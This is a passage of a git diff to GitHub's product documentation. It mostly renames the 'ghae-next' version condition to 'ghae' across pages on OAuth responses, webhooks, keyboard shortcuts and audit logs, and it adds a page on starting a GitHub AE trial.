variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae or ghes > 3.0 or ghec %} `callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %} `callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %} `request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app. diff --git a/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md index f7fea30a12..cc15507cf3 100644 --- a/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md +++ b/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md @@ -98,9 +98,9 @@ By default, the response takes the following form. The response parameters `expi ```json { - "access_token": "{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghu_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", + "access_token": "{% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghu_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", "expires_in": 28800, - "refresh_token": "{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498{% else %}r1.c1b4a2e77838347a7e420ce178f2e7c6912e1692{% endif %}", + "refresh_token": "{% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498{% else %}r1.c1b4a2e77838347a7e420ce178f2e7c6912e1692{% endif %}", "refresh_token_expires_in": 15811200, "scope": "", "token_type": "bearer" @@ -924,7 +924,7 @@ While most of your API interaction should occur using your server-to-server inst * [Get workflow usage](/rest/reference/actions#get-workflow-usage) {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Further reading diff --git a/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md index 7c7395b346..7acf2cb64a 100644 --- a/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md +++ b/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md @@ -43,9 +43,9 @@ Name | Type | Description ```json { - "access_token": "{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghu_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", + "access_token": "{% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghu_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", "expires_in": "28800", - "refresh_token": "{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498{% else %}r1.c1b4a2e77838347a7e420ce178f2e7c6912e169246c34e1ccbf66c46812d16d5b1a9dc86a149873c{% endif %}", + "refresh_token": "{% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498{% else %}r1.c1b4a2e77838347a7e420ce178f2e7c6912e169246c34e1ccbf66c46812d16d5b1a9dc86a149873c{% endif %}", "refresh_token_expires_in": "15811200", "scope": "", "token_type": "bearer" @@ -76,7 +76,7 @@ Existing {% data variables.product.prodname_github_apps %} using user-to-server Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Further reading diff --git a/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md index cd7807c22f..fc5641bce7 100644 --- a/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md +++ b/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md @@ -79,7 +79,7 @@ Name | Type | Description By default, the response takes the following form: ``` -access_token={% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&scope=repo%2Cgist&token_type=bearer +access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&scope=repo%2Cgist&token_type=bearer ``` {% data reusables.apps.oauth-auth-vary-response %} @@ -87,7 +87,7 @@ access_token={% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F2 ```json Accept: application/json { - "access_token":"{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", + "access_token":"{% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", "scope":"repo,gist", "token_type":"bearer" } @@ -98,7 +98,7 @@ Accept: application/xml bearer repo,gist - {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %} + {% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %} ``` @@ -217,7 +217,7 @@ Name | Type | Description By default, the response takes the following form: ``` -access_token={% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&token_type=bearer&scope=repo%2Cgist +access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&token_type=bearer&scope=repo%2Cgist ``` {% data reusables.apps.oauth-auth-vary-response %} @@ -225,7 +225,7 @@ access_token={% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F2 ```json Accept: application/json { - "access_token": "{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", + "access_token": "{% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}", "token_type": "bearer", "scope": "repo,gist" } @@ -234,7 +234,7 @@ Accept: application/json ```xml Accept: application/xml - {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %} + {% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %} bearer gist,repo diff --git a/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md index 0084538bd7..c8409c004a 100644 --- a/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md +++ b/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md @@ -25,7 +25,7 @@ Public installation flows have a landing page to enable other people besides the ## Private installation flow -Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the user account if the GitHub App is owned by an individual account. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}Private {% else %}Private (also known as internal){% endif %} GitHub Apps can only be installed on the user or organization account of the owner. +Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the user account if the GitHub App is owned by an individual account. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Private {% else %}Private (also known as internal){% endif %} GitHub Apps can only be installed on the user or organization account of the owner. ## Changing who can install your GitHub App @@ -37,7 +37,7 @@ To change who can install the GitHub App: 3. Select the GitHub App whose installation option you want to change. ![App selection](/assets/images/github-apps/github_apps_select-app.png) {% data reusables.user-settings.github_apps_advanced %} -5. Depending on the installation option of your GitHub App, click either **Make public** or **Make {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}private{% else %}internal{% endif %}**. +5. Depending on the installation option of your GitHub App, click either **Make public** or **Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private{% else %}internal{% endif %}**. ![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png) 6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}internal{% else %}private{% endif %}**. ![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png) diff --git a/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md index 94ac6cf87b..d02f24f4a3 100644 --- a/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md +++ b/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md @@ -100,7 +100,7 @@ Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`. > } ``` -{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.2 or ghae or ghec %} ## branch_protection_rule Activity related to a branch protection rule. For more information, see "[About branch protection rules](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)." @@ -190,7 +190,7 @@ Key | Type | Description {% data reusables.webhooks.repo_desc %} {% data reusables.webhooks.org_desc %} {% data reusables.webhooks.app_desc %} -`sender` | `object` | If the `action` is `reopened_by_user` or `closed_by_user`, the `sender` object will be the user that triggered the event. The `sender` object is {% ifversion fpt or ghec %}`github`{% elsif ghes > 3.0 or ghae-next %}`github-enterprise`{% else %}empty{% endif %} for all other actions. +`sender` | `object` | If the `action` is `reopened_by_user` or `closed_by_user`, the `sender` object will be the user that triggered the event. The `sender` object is {% ifversion fpt or ghec %}`github`{% elsif ghes > 3.0 or ghae %}`github-enterprise`{% else %}empty{% endif %} for all other actions. ### Webhook payload example diff --git a/content/get-started/learning-about-github/about-github-advanced-security.md b/content/get-started/learning-about-github/about-github-advanced-security.md index d5330b1689..d99e76f16a 100644 --- a/content/get-started/learning-about-github/about-github-advanced-security.md +++ b/content/get-started/learning-about-github/about-github-advanced-security.md @@ -69,7 +69,7 @@ If you have an enterprise account, license use for the entire enterprise is show {% endif %} -{% ifversion ghec or ghes > 3.0 or ghae-next %} +{% ifversion ghec or ghes > 3.0 or ghae %} ## Further reading diff --git a/content/get-started/signing-up-for-github/index.md b/content/get-started/signing-up-for-github/index.md index d5796380d6..3c017589d2 100644 --- a/content/get-started/signing-up-for-github/index.md +++ b/content/get-started/signing-up-for-github/index.md @@ -16,5 +16,6 @@ children: - /verifying-your-email-address - /setting-up-a-trial-of-github-enterprise-cloud - /setting-up-a-trial-of-github-enterprise-server + - /setting-up-a-trial-of-github-ae --- diff --git a/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md b/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md new file mode 100644 index 0000000000..895f30fd9d --- /dev/null +++ b/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md @@ -0,0 +1,69 @@ +--- +title: Setting up a trial of GitHub AE +intro: 'You can try {% data variables.product.prodname_ghe_managed %} for free.' +versions: + ghae: '*' +topics: + - Accounts +shortTitle: GitHub AE trial +--- + +## About the {% data variables.product.prodname_ghe_managed %} trial + +You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region. + +- **{% data variables.product.prodname_ghe_managed %} account**: The Azure resource that contains the required components, including the instance. +- **{% data variables.product.prodname_ghe_managed %} portal**: The Azure management tool at https://portal.azure.com. This is used to deploy the {% data variables.product.prodname_ghe_managed %} account. + +## Setting up your trial of {% data variables.product.prodname_ghe_managed %} + + +Before you can start your trial of {% data variables.product.prodname_ghe_managed %}, you must request access by contacting your {% data variables.product.prodname_dotcom %} account team. {% data variables.product.prodname_dotcom %} will enable the {% data variables.product.prodname_ghe_managed %} trial for your Azure subscription. + +Contact {% data variables.contact.contact_enterprise_sales %} to check your eligibility for a {% data variables.product.prodname_ghe_managed %} trial. + +## Deploying {% data variables.product.prodname_ghe_managed %} with the {% data variables.actions.azure_portal %} + +The {% data variables.actions.azure_portal %} allows you to deploy the {% data variables.product.prodname_ghe_managed %} account in your Azure resource group. + +1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}. + ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png) +1. To begin the process of adding a new {% data variables.product.prodname_ghe_managed %} account, click **Create GitHub AE account**. +1. Complete the "Project details" and "Instance details" fields. + ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png) + - **Account name:** The hostname for your enterprise + - **Administrator username:** A username for the initial enterprise owner that will be created in {% data variables.product.prodname_ghe_managed %} + - **Administrator email:** The email address that will receive the login information +1. To review a summary of the proposed changes, click **Review + create**. +1. After the validation process has completed, click **Create**. + +The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." + +{% note %} + +**Note:** Software updates for your {% data variables.product.prodname_ghe_managed %} instance are performed by {% data variables.product.prodname_dotcom %}. For more information, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." + +{% endnote %} + +## Navigating to your enterprise + +You can use the {% data variables.actions.azure_portal %} to navigate to your {% data variables.product.prodname_ghe_managed %} instance. The resulting list includes all the {% data variables.product.prodname_ghe_managed %} instances in your Azure region. + +1. On the {% data variables.actions.azure_portal %}, in the left panel, click **All resources**. +1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**: + ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png) + +## Next steps + +Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)." + +## Finishing your trial + +You can upgrade to a full license at any time during the trial period by contacting contact {% data variables.contact.contact_enterprise_sales %}. If you haven't upgraded by the last day of your trial, then the instance is automatically deleted. + +If you need more time to evaluate {% data variables.product.prodname_ghe_managed %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension. + +## Further reading + +- "[Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_ghe_managed %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)" +- "[{% data variables.product.prodname_ghe_managed %} release notes](/github-ae@latest/admin/overview/github-ae-release-notes)" diff --git a/content/get-started/using-github/keyboard-shortcuts.md b/content/get-started/using-github/keyboard-shortcuts.md index bc0dfabdb6..fc913ab233 100644 --- a/content/get-started/using-github/keyboard-shortcuts.md +++ b/content/get-started/using-github/keyboard-shortcuts.md @@ -53,7 +53,7 @@ The {% data variables.product.prodname_command_palette %} also gives you quick a |.| Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %} | control b or command b | Inserts Markdown formatting for bolding text | control i or command i | Inserts Markdown formatting for italicizing text -| control k or command k | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae-next or ghes > 3.3 %} +| control k or command k | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %} | control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list | control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %} @@ -88,14 +88,14 @@ For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirr | Keyboard shortcut | Description |-----------|------------ | control b or command b | Inserts Markdown formatting for bolding text -| control i or command i | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +| control i or command i | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae or ghes > 3.1 or ghec %} | control e or command e | Inserts Markdown formatting for code or a command within a line{% endif %} | control k or command k | Inserts Markdown formatting for creating a link -| control shift p or command shift p| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} +| control shift p or command shift p| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.2 or ghec %} | control shift 7 or command shift 7 | Inserts Markdown formatting for an ordered list | control shift 8 or command shift 8 | Inserts Markdown formatting for an unordered list{% endif %} | control enter | Submits a comment -| control . and then control [saved reply number] | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae-next or ghes > 3.2 or ghec %} +| control . and then control [saved reply number] | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae or ghes > 3.2 or ghec %} | control shift . or command shift. | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %} |control g or command g | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %} | r | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." | diff --git a/content/github/site-policy/github-terms-for-additional-products-and-features.md b/content/github/site-policy/github-terms-for-additional-products-and-features.md index 3fe119cf44..02ffbb9d03 100644 --- a/content/github/site-policy/github-terms-for-additional-products-and-features.md +++ b/content/github/site-policy/github-terms-for-additional-products-and-features.md @@ -20,7 +20,7 @@ By using the Additional Products and Features, you also agree to the applicable - **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, Pages, and SQL Server Images. -- **GitHub AE** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, {% ifversion ghae-next %}Connect, {% endif %}Dependabot Preview, GitHub Enterprise Importer, Packages and Pages. +- **GitHub AE** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, {% ifversion ghae %}Connect, {% endif %}Dependabot Preview, GitHub Enterprise Importer, Packages and Pages. ## Actions GitHub Actions enables you to create custom software development lifecycle workflows directly in your GitHub repository. Actions is billed on a usage basis. The [Actions documentation](/actions) includes details, including compute and storage quantities (depending on your Account plan), and how to monitor your Actions minutes usage and set usage limits. @@ -68,7 +68,7 @@ Codespaces allows you to load extensions from the Microsoft Visual Studio Market The generally available version of Codespaces is not currently available for U.S. government customers. U.S. government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/github/site-policy/github-terms-of-service#j-beta-previews). ## Connect -With GitHub Connect, you can share certain features and data between your GitHub Enterprise Server {% ifversion ghae-next %}or GitHub AE {% endif %}instance and your GitHub Enterprise Cloud organization or enterprise account on GitHub.com. In order to enable GitHub Connect, you must have at least one (1) account on GitHub Enterprise Cloud or GitHub.com, and one (1) licensed instance of GitHub Enterprise Server{% ifversion ghae-next %} or GitHub AE{% endif %}. Your use of GitHub Enterprise Cloud or GitHub.com through Connect is governed by the terms under which you license GitHub Enterprise Cloud or GitHub.com. Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement). +With GitHub Connect, you can share certain features and data between your GitHub Enterprise Server {% ifversion ghae %}or GitHub AE {% endif %}instance and your GitHub Enterprise Cloud organization or enterprise account on GitHub.com. In order to enable GitHub Connect, you must have at least one (1) account on GitHub Enterprise Cloud or GitHub.com, and one (1) licensed instance of GitHub Enterprise Server{% ifversion ghae %} or GitHub AE{% endif %}. Your use of GitHub Enterprise Cloud or GitHub.com through Connect is governed by the terms under which you license GitHub Enterprise Cloud or GitHub.com. Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement). ## GitHub Enterprise Importer Importer is a framework for exporting data from other sources to be imported to the GitHub platform. Importer is provided “AS-IS”. diff --git a/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md index f1b441fcdc..5753951e64 100644 --- a/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md +++ b/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md @@ -55,7 +55,7 @@ Text that is not a quote ## Quoting code -You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %} +You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %} ```markdown Use `git status` to list all new or modified files that haven't yet been committed. @@ -80,7 +80,7 @@ For more information, see "[Creating and highlighting code blocks](/articles/cre ## Links -You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} +You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} `This site was built using [GitHub Pages](https://pages.github.com/).` diff --git a/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md b/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md index 9d18e2e33a..2464279e9e 100644 --- a/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md +++ b/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md @@ -17,7 +17,7 @@ topics: {% warning %} -**Warning:** If you add an image{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} or video{% endif %} to a pull request or issue comment, anyone can view the anonymized URL without authentication, even if the pull request is in a private repository{% ifversion ghes %}, or if private mode is enabled{% endif %}. To keep sensitive media files private, serve them from a private network or server that requires authentication. {% ifversion fpt or ghec %}For more information on anonymized URLs see "[About anonymized URLs](/github/authenticating-to-github/about-anonymized-urls)".{% endif %} +**Warning:** If you add an image{% ifversion fpt or ghes > 3.1 or ghae or ghec %} or video{% endif %} to a pull request or issue comment, anyone can view the anonymized URL without authentication, even if the pull request is in a private repository{% ifversion ghes %}, or if private mode is enabled{% endif %}. To keep sensitive media files private, serve them from a private network or server that requires authentication. {% ifversion fpt or ghec %}For more information on anonymized URLs see "[About anonymized URLs](/github/authenticating-to-github/about-anonymized-urls)".{% endif %} {% endwarning %} @@ -34,7 +34,7 @@ To attach a file to an issue or pull request conversation, drag and drop it into The maximum file size is: - 10MB for images and gifs{% ifversion fpt or ghec %} - 10MB for videos uploaded to a repository owned by a user or organization on a free GitHub plan -- 100MB for videos uploaded to a repository owned by a user or organization on a paid GitHub plan{% elsif fpt or ghes > 3.1 or ghae-next %} +- 100MB for videos uploaded to a repository owned by a user or organization on a paid GitHub plan{% elsif fpt or ghes > 3.1 or ghae %} - 100MB for videos{% endif %} - 25MB for all other files @@ -47,7 +47,7 @@ We support these files: * Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents * Text files (*.txt*) * PDFs (*.pdf*) -* ZIP (*.zip*, *.gz*){% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +* ZIP (*.zip*, *.gz*){% ifversion fpt or ghes > 3.1 or ghae or ghec %} * Video (*.mp4*, *.mov*) {% note %} diff --git a/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md index 40398276a0..6f847a5927 100644 --- a/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md +++ b/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md @@ -170,7 +170,7 @@ With issue and pull request search terms, you can: - Filter issues and pull requests by label: `state:open type:issue label:"bug"` - Filter out search terms by using `-` before the term: `state:open type:issue -author:octocat` -{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.2 or ghae or ghec %} {% tip %} **Tip:** You can filter issues and pull requests by label using logical OR or using logical AND. diff --git a/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md index bb538e6131..4fc8425724 100644 --- a/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md +++ b/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md @@ -83,12 +83,4 @@ For more information about how to create an allow list for a {% data variables.p ## Using {% data variables.product.prodname_actions %} with an IP allow list -{% ifversion ghae %} - -{% data reusables.github-actions.ip-allow-list-hosted-runners %} - -{% else %} - {% data reusables.github-actions.ip-allow-list-self-hosted-runners %} - -{% endif %} diff --git a/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 0d23b4dbc8..d404ce7d19 100644 --- a/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -77,7 +77,7 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %} | [`sponsors`](#sponsors-category-actions) | Contains all events related to sponsor buttons (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %} | [`team`](#team-category-actions) | Contains all activities related to teams in your organization. -| [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization.{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +| [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization.{% ifversion fpt or ghec or ghes > 3.1 or ghae %} | [`workflows`](#workflows-category-actions) | Contains activities related to {% data variables.product.prodname_actions %} workflows.{% endif %} You can search for specific sets of actions using these terms. For example: @@ -402,7 +402,7 @@ For more information, see "[Managing the publication of {% data variables.produc | Action | Description |------------------|------------------- -| `add_member` | Triggered when a user joins an organization.{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| `add_member` | Triggered when a user joins an organization.{% ifversion fpt or ghes > 3.0 or ghae or ghec %} | `advanced_security_policy_selected_member_disabled` | Triggered when an enterprise owner prevents {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %} | `advanced_security_policy_selected_member_enabled` | Triggered when an enterprise owner allows {% data variables.product.prodname_GH_advanced_security %} features to be enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}{% endif %}{% ifversion fpt or ghec %} | `audit_log_export` | Triggered when an organization admin [creates an export of the organization audit log](#exporting-the-audit-log). If the export included a query, the log will list the query used and the number of audit log entries matching that query. @@ -434,7 +434,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." | `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). | `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an 